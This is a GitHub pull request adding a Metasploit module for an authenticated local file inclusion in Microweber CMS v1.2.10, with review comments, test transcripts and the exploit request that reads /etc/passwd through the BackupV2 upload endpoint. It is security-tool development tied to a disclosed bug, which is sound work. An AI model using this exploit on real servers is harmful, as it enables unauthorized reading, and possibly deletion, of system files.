Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Microweber v1.2.10 Local File Inclusion (Authenticated) #16156

Merged
merged 13 commits into from
Feb 22, 2022

Conversation

talhakarakumru
Copy link
Contributor

@talhakarakumru talhakarakumru commented Feb 7, 2022

Microweber CMS v1.2.10 LFI (Authenticated) has been verified and fixed according to the maintainer of the project. You check out the vulnerability report:
https://huntr.dev/bounties/09218d3f-1f6a-48ae-981c-85e86ad5ed8b/

The older versions of Microweber CMS might be vulnerable too. I've not tested the module against the other versions.
If you want, you can follow the steps in the official vulnerability report to reproduce the vulnerability against the older versions. (not guaranteed)

PoC

2022-02-10.21-15-08.mp4

Verification Steps

  • Start msfconsole
  • Run use auxiliary/gather/microweber_lfi
  • Set RHOSTS
  • Set USERNAME
  • Set PASSWORD
  • Set LOCAL_FILE_PATH
  • Run exploit
  • Verify that you see Checking if it's Microweber CMS.
  • Verify that you see Microweber CMS has been detected.
  • Verify that you see Checking Microweber's version.
  • Verify that you see Microweber version 1.2.10
  • Verify that you see The target appears to be vulnerable.
  • Verify that you see Trying to log in.
  • Verify that you see You are logged in
  • Verify that you see Uploading LOCAL_FILE_PATH to the backup folder.
  • Verify that you see FILE was moved!
  • Verify that you see Downloading FILE from the backup folder.

Options

msf6 auxiliary(gather/microweber_lfi) > options

Module options (auxiliary/gather/microweber_lfi):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   DEFANGED_MODE    true             yes       Run in defanged mode
   LOCAL_FILE_PATH                   yes       The path of the local file.
   PASSWORD                          yes       The admin's password for Microweber
   Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                            yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT            80               yes       The target port (TCP)
   SSL              false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI        /                yes       The base path for Microweber
   USERNAME                          yes       The admin's username for Microweber
   VHOST                             no        HTTP server virtual host

Scenerios

This module has been tested against Microweber CMS v1.2.10 installed on Ubuntu.

msf6 auxiliary(gather/microweber_lfi) > use auxiliary/gather/microweber_lfi
msf6 auxiliary(gather/microweber_lfi) > set username admin
username => admin
msf6 auxiliary(gather/microweber_lfi) > set password admin
password => admin
msf6 auxiliary(gather/microweber_lfi) > set local_file_path /etc/hosts
local_file_path => /etc/hosts
msf6 auxiliary(gather/microweber_lfi) > set rhosts 192.168.188.132
rhosts => 192.168.188.132
msf6 auxiliary(gather/microweber_lfi) > check

[*] Checking if it's Microweber CMS.
[+] Microweber CMS has been detected.
[*] Checking Microweber's version.
[+] Microweber version 1.2.10
[*] 192.168.188.132:80 - The target appears to be vulnerable.
msf6 auxiliary(gather/microweber_lfi) > exploit
[*] Running module against 192.168.188.132

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if it's Microweber CMS.
[+] Microweber CMS has been detected.
[*] Checking Microweber's version.
[+] Microweber version 1.2.10
[+] The target appears to be vulnerable.
[-] Auxiliary aborted due to failure: bad-config: Triggering this vulnerability may delete the local file if the web service user has the permission.
If you want to continue, disable the DEFANGED_MODE.
=> set DEFANGED_MODE false
msf6 auxiliary(gather/microweber_lfi) > set defanged_mode false
defanged_mode => false
msf6 auxiliary(gather/microweber_lfi) > exploit
[*] Running module against 192.168.188.132

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if it's Microweber CMS.
[+] Microweber CMS has been detected.
[*] Checking Microweber's version.
[+] Microweber version 1.2.10
[+] The target appears to be vulnerable.
[*] Trying to log in.
[+] You are logged in
[*] Uploading /etc/hosts to the backup folder.
[+] hosts was moved!
[*] Downloading hosts from the backup folder.
[*] 127.0.0.1 localhost
127.0.1.1 ubuntu-srv-tk

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

[*] Auxiliary module execution completed

@bcoles bcoles added module needs-docs needs-linting The module needs additional work to pass our automated linting rules labels Feb 8, 2022
@github-actions
Copy link

github-actions bot commented Feb 8, 2022

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

@github-actions
Copy link

github-actions bot commented Feb 8, 2022

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

Comment on lines 171 to 183
def run
is_version_valid = check_version
is_login_valid = login

if !is_version_valid || !is_login_valid
return
end

is_upload_successful = upload
if is_upload_successful
download
end
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The returned values are only used once. Rather than store the returned values in temporary variables with meaningful names, it would make more sense to simply give the methods meaningful names.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks. I fixed it.

modules/auxiliary/gather/microweber_lfi.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/microweber_lfi.rb Outdated Show resolved Hide resolved
@talhakarakumru
Copy link
Contributor Author

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

* [Writing Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation)

* [Template](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md)

* [Examples](https://github.com/rapid7/metasploit-framework/tree/master/documentation/modules)

Added the documentation.

Comment on lines 41 to 42
OptString.new('ADMIN_USER', [true, 'The admin\'s username for Microweber']),
OptString.new('ADMIN_PASS', [true, 'The admin\'s password for Microweber']),
Copy link
Contributor

@adfoster-r7 adfoster-r7 Feb 8, 2022

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I believe if we rename these fields to USERNAME and PASSWORD then the module should work with this syntax:

use auxiliary/gather/microweber_lfi
run http://user:pass@127.0.0.1

https://rapid7.github.io/metasploit-framework/docs/using-metasploit/basics/using-metasploit.html#http-examples

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks I fixed it. You can now use run http://user:pass@127.0.0.1 to run the module.

@bcoles bcoles added docs and removed needs-docs labels Feb 8, 2022
@talhakarakumru
Copy link
Contributor Author

Linting is done.

@talhakarakumru
Copy link
Contributor Author

@bcoles the module passed 16 checks including the lint. Could you remove needs-linting label?

@bcoles bcoles removed the needs-linting The module needs additional work to pass our automated linting rules label Feb 8, 2022
Comment on lines 26 to 28
'SideEffects' => [ 'ARTIFACTS_ON_DISK', 'IOC_IN_LOGS' ],
'Reliability' => [ 'REPEATABLE_SESSION' ],
'Stability' => [ 'OS_RESOURCE_LOSS' ]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Utilise constants, not strings.

Suggested change
'SideEffects' => [ 'ARTIFACTS_ON_DISK', 'IOC_IN_LOGS' ],
'Reliability' => [ 'REPEATABLE_SESSION' ],
'Stability' => [ 'OS_RESOURCE_LOSS' ]
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ OS_RESOURCE_LOSS ]

end

def check
check_version ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If we are checking the version, this should return Appears rather than Vulnerable.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed.

end

def check_version
print_warning 'Triggering this vulnerability may delete the local file that is wanted to be read.'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could this warning be moved to the module info instead, so that a user receives this warning before running the module?
We might also benefit from using a DefangedMode approach, similar to

if datastore['DefangedMode'].to_s == 'true'
warning = <<~EOF
Are you SURE you want to modify your port forwarding tables?
You MAY contaminate your current network configuration.
Disable the DefangedMode option if you wish to proceed.
EOF
fail_with(Failure::BadConfig, warning)
end

Comment on lines 67 to 68
if version.include?('Version: 1.2.10')
print_good 'Microweber ' + version
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could we use a single regex to extract the version number?
Also we should make sure that the application we are targeting is actually Microweber, rather than assuming that.
Using Rex::Version would be preferred as seen here

if (build_num_gemversion >= Rex::Version.new('6.0.6000.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.20692')) # Windows Vista and Windows Server 2008

check_version ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
end

def check_version
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This method should become the check method, and should return CheckCodes rather than true/false.

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'BackupV2', 'upload'),
'cookie' => @cookie,
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

'filename' => filename
},
'headers' => {
'Referer' => datastore['SSL'] ? 'https://' + datastore['RHOSTS'] + target_uri.path : 'http://' + datastore['RHOSTS'] + target_uri.path
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copy link
Contributor

@jmartin-tech jmartin-tech left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you for this contribution, this is a great effort.

  • The check method can be consolidated and utilized via Msf::Exploit::Remote::AutoCheck.
  • Many recommendation suggest shifting to raising on error to end execution earlier.

Comment on lines 48 to 52
def check
check_version ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
end

def check_version
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
def check
check_version ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
end
def check_version
def check

begin
version = res.body[/Version:\s+\d+\.\d+\.\d+/].gsub(' ', '').gsub(':', ': ')
rescue NoMethodError, TypeError
return false
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return false
return Exploit::CheckCode::Safe


if version.include?('Version: 1.2.10')
print_good 'Microweber ' + version
return true
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return true
return Exploit::CheckCode::Appears

end

print_error 'Microweber ' + version
return false
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return false
return Exploit::CheckCode::Safe


if res.headers['Content-Type'] != 'application/json'
print_status res.body
return false
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return false
fail_with(Msf::Exploit::Failure::Unknown, 'Invalid Content-Type returned')

modules/auxiliary/gather/microweber_lfi.rb Show resolved Hide resolved
modules/auxiliary/gather/microweber_lfi.rb Show resolved Hide resolved
Comment on lines 162 to 163
print_error json_res['error']
return
Copy link
Contributor

@jmartin-tech jmartin-tech Feb 10, 2022

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
print_error json_res['error']
return
fail_with(Msf::Exploit::Failure::Unknown, json_res['error'])

Comment on lines 171 to 177
if !check_version || !try_login
return
end

if try_upload
try_download
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

By prepending Msf::Exploit::Remote::AutoCheck the check method is run prior to the run method and will halt execution in a not vulnerable code is returned.
With other changes suggested to have methods call fail_with the module will raise early avoiding the need to run test each method call result.

Suggested change
if !check_version || !try_login
return
end
if try_upload
try_download
end
try_login
try_upload
try_download

modules/auxiliary/gather/microweber_lfi.rb Show resolved Hide resolved
@talhakarakumru
Copy link
Contributor Author

Following @jmartin-r7 and @sjanusz-r7's advice, I updated the code and the documentation.

@adfoster-r7
Copy link
Contributor

Looks like this doesn't quite work for me - either for an admin account, or a normal user account. I didn't try a disabled account though.

Here were my verification steps:

Docker setup

Setting up a docker environment:

git clone git@github.com:microweber/microweber.git

cd microweber

git checkout v1.2.10

# Manually modify compose.lock to have this change https://github.com/microweber/microweber/pull/782/files, then:
docker build -t microweber:1.2.10 .
docker run -p 8000:80 -it microweber:1.2.10

Visit http://localhost:8000 and create a new account with the credentials admin and password123

Verifying 1.2.11

Verifying check method against a newer version:

msf6 auxiliary(gather/microweber_lfi) > run http://admin:password123@localhost:8000 local_file_path=/etc/passwd
[*] Running module against 0.0.0.1

[*] Running automatic check ("set AutoCheck false" to disable)
[-] Auxiliary aborted due to failure: unreachable: Microweber CMS cannot be reached.
[*] Running module against 127.0.0.1
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if it's Microweber CMS.
[+] Microweber CMS has been detected.
[*] Checking Microweber's version.
[-] Microweber version 1.2.11
[-] Auxiliary aborted due to failure: not-vulnerable: The target is not exploitable. "set ForceExploit true" to override check result.
[*] Auxiliary module execution completed

Works as expected 👍

Verifying 1.2.10

Running against a vulnerable version:

msf6 auxiliary(gather/microweber_lfi) > run http://admin:password123@localhost:8000 local_file_path=/etc/passwd
[*] Running module against 0.0.0.1

[*] Running automatic check ("set AutoCheck false" to disable)
[-] Auxiliary aborted due to failure: unreachable: Microweber CMS cannot be reached.
[*] Running module against 127.0.0.1
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if it's Microweber CMS.
[+] Microweber CMS has been detected.
[*] Checking Microweber's version.
[+] Microweber version 1.2.10
[+] The target appears to be vulnerable.
[-] Auxiliary aborted due to failure: bad-config: Triggering this vulnerability may delete the local file if the web service user has the permission.
If you want to continue, disable the DEFANGED_MODE.
=> set DEFANGED_MODE false

[*] Auxiliary module execution completed

Running against a vulnerable version with defang mode false:

msf6 auxiliary(gather/microweber_lfi) > run http://admin:password123@localhost:8000 local_file_path=/etc/passwd DEFANGED_MODE=false
[*] Running module against 0.0.0.1

[*] Running automatic check ("set AutoCheck false" to disable)
[-] Auxiliary aborted due to failure: unreachable: Microweber CMS cannot be reached.
[*] Running module against 127.0.0.1
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if it's Microweber CMS.
[+] Microweber CMS has been detected.
[*] Checking Microweber's version.
[+] Microweber version 1.2.10
[+] The target appears to be vulnerable.
[*] Trying to log in.
[+] You are logged in.
[*] Uploading /etc/passwd to the backup folder.
[-] Auxiliary aborted due to failure: unknown: <!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">

        <title>Forbidden</title>

        <!-- Fonts -->
        <link rel="preconnect" href="https://fonts.gstatic.com">
        <link href="https://fonts.googleapis.com/css2?family=Nunito&display=swap" rel="stylesheet">

        <style>
            /*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}a{background-color:transparent}code{font-family:monospace,monospace;font-size:1em}[hidden]{display:none}html{font-family:system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;line-height:1.5}*,:after,:before{box-sizing:border-box;border:0 solid #e2e8f0}a{color:inherit;text-decoration:inherit}code{font-family:Menlo,Monaco,Consolas,Liberation Mono,Courier New,monospace}svg,video{display:block;vertical-align:middle}video{max-width:100%;height:auto}.bg-white{--bg-opacity:1;background-color:#fff;background-color:rgba(255,255,255,var(--bg-opacity))}.bg-gray-100{--bg-opacity:1;background-color:#f7fafc;background-color:rgba(247,250,252,var(--bg-opacity))}.border-gray-200{--border-opacity:1;border-color:#edf2f7;border-color:rgba(237,242,247,var(--border-opacity))}.border-gray-400{--border-opacity:1;border-color:#cbd5e0;border-color:rgba(203,213,224,var(--border-opacity))}.border-t{border-top-width:1px}.border-r{border-right-width:1px}.flex{display:flex}.grid{display:grid}.hidden{display:none}.items-center{align-items:center}.justify-center{justify-content:center}.font-semibold{font-weight:600}.h-5{height:1.25rem}.h-8{height:2rem}.h-16{height:4rem}.text-sm{font-size:.875rem}.text-lg{font-size:1.125rem}.leading-7{line-height:1.75rem}.mx-auto{margin-left:auto;margin-right:auto}.ml-1{margin-left:.25rem}.mt-2{margin-top:.5rem}.mr-2{margin-right:.5rem}.ml-2{margin-left:.5rem}.mt-4{margin-top:1rem}.ml-4{margin-left:1rem}.mt-8{margin-top:2rem}.ml-12{margin-left:3rem}.-mt-px{margin-top:-1px}.max-w-xl{max-width:36rem}.max-w-6xl{max-width:72rem}.min-h-screen{min-height:100vh}.overflow-hidden{overflow:hidden}.p-6{padding:1.5rem}.py-4{padding-top:1rem;padding-bottom:1rem}.px-4{padding-left:1rem;padding-right:1rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.pt-8{padding-top:2rem}.fixed{position:fixed}.relative{position:relative}.top-0{top:0}.right-0{right:0}.shadow{box-shadow:0 1px 3px 0 rgba(0,0,0,.1),0 1px 2px 0 rgba(0,0,0,.06)}.text-center{text-align:center}.text-gray-200{--text-opacity:1;color:#edf2f7;color:rgba(237,242,247,var(--text-opacity))}.text-gray-300{--text-opacity:1;color:#e2e8f0;color:rgba(226,232,240,var(--text-opacity))}.text-gray-400{--text-opacity:1;color:#cbd5e0;color:rgba(203,213,224,var(--text-opacity))}.text-gray-500{--text-opacity:1;color:#a0aec0;color:rgba(160,174,192,var(--text-opacity))}.text-gray-600{--text-opacity:1;color:#718096;color:rgba(113,128,150,var(--text-opacity))}.text-gray-700{--text-opacity:1;color:#4a5568;color:rgba(74,85,104,var(--text-opacity))}.text-gray-900{--text-opacity:1;color:#1a202c;color:rgba(26,32,44,var(--text-opacity))}.uppercase{text-transform:uppercase}.underline{text-decoration:underline}.antialiased{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.tracking-wider{letter-spacing:.05em}.w-5{width:1.25rem}.w-8{width:2rem}.w-auto{width:auto}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}@-webkit-keyframes spin{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}@keyframes  spin{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}@-webkit-keyframes ping{0%{transform:scale(1);opacity:1}75%,to{transform:scale(2);opacity:0}}@keyframes  ping{0%{transform:scale(1);opacity:1}75%,to{transform:scale(2);opacity:0}}@-webkit-keyframes pulse{0%,to{opacity:1}50%{opacity:.5}}@keyframes  pulse{0%,to{opacity:1}50%{opacity:.5}}@-webkit-keyframes bounce{0%,to{transform:translateY(-25%);-webkit-animation-timing-function:cubic-bezier(.8,0,1,1);animation-timing-function:cubic-bezier(.8,0,1,1)}50%{transform:translateY(0);-webkit-animation-timing-function:cubic-bezier(0,0,.2,1);animation-timing-function:cubic-bezier(0,0,.2,1)}}@keyframes  bounce{0%,to{transform:translateY(-25%);-webkit-animation-timing-function:cubic-bezier(.8,0,1,1);animation-timing-function:cubic-bezier(.8,0,1,1)}50%{transform:translateY(0);-webkit-animation-timing-function:cubic-bezier(0,0,.2,1);animation-timing-function:cubic-bezier(0,0,.2,1)}}@media (min-width:640px){.sm\:rounded-lg{border-radius:.5rem}.sm\:block{display:block}.sm\:items-center{align-items:center}.sm\:justify-start{justify-content:flex-start}.sm\:justify-between{justify-content:space-between}.sm\:h-20{height:5rem}.sm\:ml-0{margin-left:0}.sm\:px-6{padding-left:1.5rem;padding-right:1.5rem}.sm\:pt-0{padding-top:0}.sm\:text-left{text-align:left}.sm\:text-right{text-align:right}}@media (min-width:768px){.md\:border-t-0{border-top-width:0}.md\:border-l{border-left-width:1px}.md\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}}@media (min-width:1024px){.lg\:px-8{padding-left:2rem;padding-right:2rem}}@media (prefers-color-scheme:dark){.dark\:bg-gray-800{--bg-opacity:1;background-color:#2d3748;background-color:rgba(45,55,72,var(--bg-opacity))}.dark\:bg-gray-900{--bg-opacity:1;background-color:#1a202c;background-color:rgba(26,32,44,var(--bg-opacity))}.dark\:border-gray-700{--border-opacity:1;border-color:#4a5568;border-color:rgba(74,85,104,var(--border-opacity))}.dark\:text-white{--text-opacity:1;color:#fff;color:rgba(255,255,255,var(--text-opacity))}.dark\:text-gray-400{--text-opacity:1;color:#cbd5e0;color:rgba(203,213,224,var(--text-opacity))}}
        </style>

        <style>
            body {
                font-family: 'Nunito', sans-serif;
            }
        </style>
    </head>
    <body class="antialiased">
        <div class="relative flex items-top justify-center min-h-screen bg-gray-100 dark:bg-gray-900 sm:items-center sm:pt-0">
            <div class="max-w-xl mx-auto sm:px-6 lg:px-8">
                <div class="flex items-center pt-8 sm:justify-start sm:pt-0">
                    <div class="px-4 text-lg text-gray-500 border-r border-gray-400 tracking-wider">
                        403                    </div>

                    <div class="ml-4 text-lg text-gray-500 uppercase tracking-wider">
                        Unauthorized action. The API function requires authentication.                    </div>
                </div>
            </div>
        </div>
    </body>
</html>

[*] Auxiliary module execution completed

The password is correct, verified by using incorrect credentials:

msf6 auxiliary(gather/microweber_lfi) > run http://admin:invalid_password@localhost:8000 local_file_path=/etc/passwd DEFANGED_MODE=false
[*] Running module against 0.0.0.1

[*] Running automatic check ("set AutoCheck false" to disable)
[-] Auxiliary aborted due to failure: unreachable: Microweber CMS cannot be reached.
[*] Running module against 127.0.0.1
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if it's Microweber CMS.
[+] Microweber CMS has been detected.
[*] Checking Microweber's version.
[+] Microweber version 1.2.10
[+] The target appears to be vulnerable.
[*] Trying to log in.
[-] Auxiliary aborted due to failure: bad-config: Wrong username or password.
[*] Auxiliary module execution completed

Here's the request that led to the failure, enabled by set httptrace true, if it's a useful debugging point:

[+] You are logged in.
[*] Uploading /etc/passwd to the backup folder.
####################
# Request:
####################
GET /api/BackupV2/upload?src=/etc/passwd HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (iPad; CPU OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1
Cookie: laravel_session=WhDF7q9HySiwds8L3kryC7QMD6UqRZzK9OGVJ2sC; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=1%7CcNDmPGC0dWNIeIwN6u49KFz6VZiMZxtWCNHxKt8ju1V8XFGMpPDFvghGrRba%7C%242y%2410%24XhPud8lZZGRi9WCvS7NNOuTA9mmlC51LTZ8Bvzdc2A9.EXC4RAVqe
Referer: http://127.0.0.1:8000/


####################
# Response:
####################
HTTP/1.1 403 Forbidden
Date: Mon, 21 Feb 2022 18:33:40 GMT
Server: Apache/2.4.52 (Debian)
X-Powered-By: PHP/7.4.28
Cache-Control: no-cache, private
Set-Cookie: laravel_session=WhDF7q9HySiwds8L3kryC7QMD6UqRZzK9OGVJ2sC; expires=Mon, 21-Feb-2022 20:33:40 GMT; Max-Age=7200; path=/; httponly; samesite=lax
Content-Length: 6662
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">

        <title>Forbidden</title>
... etc ...

I also added an extra user account that didn't have admin privileges:
image

Running with defanged mode doesn't seem to handle this scenario gracefully, i.e. the file is treated as non-existent, but it's actually a permissions error:

msf6 auxiliary(gather/microweber_lfi) > run http://user:password123@localhost:8000 local_file_path=/etc/passwd DEFANGED_MODE=false
[*] Running module against 0.0.0.1

[*] Running automatic check ("set AutoCheck false" to disable)
[-] Auxiliary aborted due to failure: unreachable: Microweber CMS cannot be reached.
[*] Running module against 127.0.0.1
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if it's Microweber CMS.
[+] Microweber CMS has been detected.
[*] Checking Microweber's version.
[+] Microweber version 1.2.10
[+] The target appears to be vulnerable.
[*] Trying to log in.
[+] You are logged in.
[*] Uploading /etc/passwd to the backup folder.
[-] Auxiliary aborted due to failure: bad-config: Either the file cannot be read or the file does not exist.
[*] Auxiliary module execution completed

Verified by jumping into the container and verifying the contents is present:

➜  microweber git:(1.2.10) ✗ docker ps 
CONTAINER ID   IMAGE               COMMAND                  CREATED          STATUS          PORTS                                           NAMES
5b27bc3c7aa0   microweber:1.2.10   "docker-php-entrypoi…"   15 minutes ago   Up 17 seconds   0.0.0.0:8000->80/tcp, :::8000->80/tcp           frosty_joliot
➜  microweber git:(1.2.10) ✗ docker exec -it 5b27bc3c7aa0 /bin/bash
root@5b27bc3c7aa0:/var/www/html# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
root@5b27bc3c7aa0:/var/www/html#

Here's the http logging for that scenario:

msf6 auxiliary(gather/microweber_lfi) > run http://user:password123@localhost:8000 local_file_path=/etc/passwd DEFANGED_MODE=false httptrace=true 
[*] Running module against 0.0.0.1

[*] Running automatic check ("set AutoCheck false" to disable)

...
[+] You are logged in.
[*] Uploading /etc/passwd to the backup folder.
####################
# Request:
####################
GET /api/BackupV2/upload?src=/etc/passwd HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (iPad; CPU OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1
Cookie: laravel_session=BxciQeMbHLnvVf7tFEbqob2RygmdRGbH5EcfjBty; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=2%7CKVznUQQ7G1tE7BWlRTrAdxmUD5NDRy5D8Xvu6KI39ZldXhJNAOkyjqAW8tTX%7C%242y%2410%24GpDvMPdEf9c0nFTH036qHO9DxSf06KuF0qcjmGn5W5ITAlAAk9Zpm
Referer: http://127.0.0.1:8000/


####################
# Response:
####################
HTTP/1.1 200 OK
Date: Mon, 21 Feb 2022 18:44:57 GMT
Server: Apache/2.4.52 (Debian)
X-Powered-By: PHP/7.4.28
Vary: Accept-Encoding
Content-Length: 217
Content-Type: text/html; charset=UTF-8

 
<h1>Error</h1>
<p>Permission denied! You dont have access to see this page. <br />File:/var/www/html/userfiles/modules/admin/backup_v2/BackupV2.php</p>
<p>In /var/www/html/userfiles/modules/microweber/error.php</p>

[-] Auxiliary aborted due to failure: bad-config: Either the file cannot be read or the file does not exist.
[*] Auxiliary module execution completed

@adfoster-r7
Copy link
Contributor

Let me know if I missed any setup steps, or if you update the module again @talhak08 - and I should be able to run through testing this again 👍

@adfoster-r7 adfoster-r7 self-assigned this Feb 21, 2022
@talhakarakumru
Copy link
Contributor Author

talhakarakumru commented Feb 21, 2022

Let me know if I missed any setup steps, or if you update the module again @talhak08 - and I should be able to run through testing this again 👍

@adfoster-r7 Thank you. I checked it. The issue was weird. The reason why you get Forbidden error is because the Referer header was set to 127.0.0.1. When I found the vulnerability, I also detected that Referer header must be set in the both requests but I did not think that 127.0.0.1 would be a problem.

Referer: http://127.0.0.1/ will not work!
Referer: http://192.168.188.132/ will work! (you need to access the website from another IP of the web service)

Could you reproduce the same thing in your testing environment?
Thanks.

@adfoster-r7
Copy link
Contributor

adfoster-r7 commented Feb 22, 2022

Thanks for checking, that seems to have been the issue 👍

I was able to confirm that 192.168.123.1 works for admin:

msf6 auxiliary(gather/microweber_lfi) > run http://admin:password123@192.168.123.1:8000 local_file_path=/etc/passwd DEFANGED_MODE=false
[*] Running module against 192.168.123.1

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if it's Microweber CMS.
[+] Microweber CMS has been detected.
[*] Checking Microweber's version.
[+] Microweber version 1.2.10
[+] The target appears to be vulnerable.
[*] Trying to log in.
[+] You are logged in.
[*] Uploading /etc/passwd to the backup folder.
[+] passwd was moved!
[*] Downloading passwd from the backup folder.
[*] root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
